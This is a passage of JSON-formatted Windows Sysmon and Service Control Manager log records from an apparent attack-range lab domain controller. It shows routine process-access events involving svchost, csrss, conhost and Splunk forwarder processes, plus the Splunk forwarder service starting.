C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:32.575","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3769,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:32.575\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:32.575","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3770,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:32.575\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:32.575","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3771,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:32.575\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:32.575","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3772,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:32.575\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:32.575","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3773,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:32.575\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4080-5F2D-0000-001040650500}\r\nTargetProcessId: 3984\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:32.575","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4080-5F2D-0000-001040650500}","TargetProcessId":"3984","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3774,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:32.575\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4080-5F2D-0000-001040650500}\r\nTargetProcessId: 3984\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:32.575","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4080-5F2D-0000-001040650500}","TargetProcessId":"3984","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76840,"ProcessID":852,"ThreadID":1152,"Channel":"System","Message":"The SplunkForwarder Service service entered the running state.","param1":"SplunkForwarder Service","param2":"running","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3775,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:34.952\r\nProcessGuid: {90617006-4082-5F2D-0000-00106B700500}\r\nProcessId: 4932\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=87264859EE7DE0CED006DBC0D061030F,SHA256=80087865D952613CBC7D9663B1F34B7264B1291278BDD5939C7CCEA334864CF1,IMPHASH=B0958DE096151B4209C7AECE2483DEF3\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:34.952","ProcessGuid":"{90617006-4082-5F2D-0000-00106B700500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=87264859EE7DE0CED006DBC0D061030F,SHA256=80087865D952613CBC7D9663B1F34B7264B1291278BDD5939C7CCEA334864CF1,IMPHASH=B0958DE096151B4209C7AECE2483DEF3","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3776,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:34.951\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4082-5F2D-0000-00106B700500}\r\nTargetProcessId: 4932\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:34.951","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4082-5F2D-0000-00106B700500}","TargetProcessId":"4932","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program 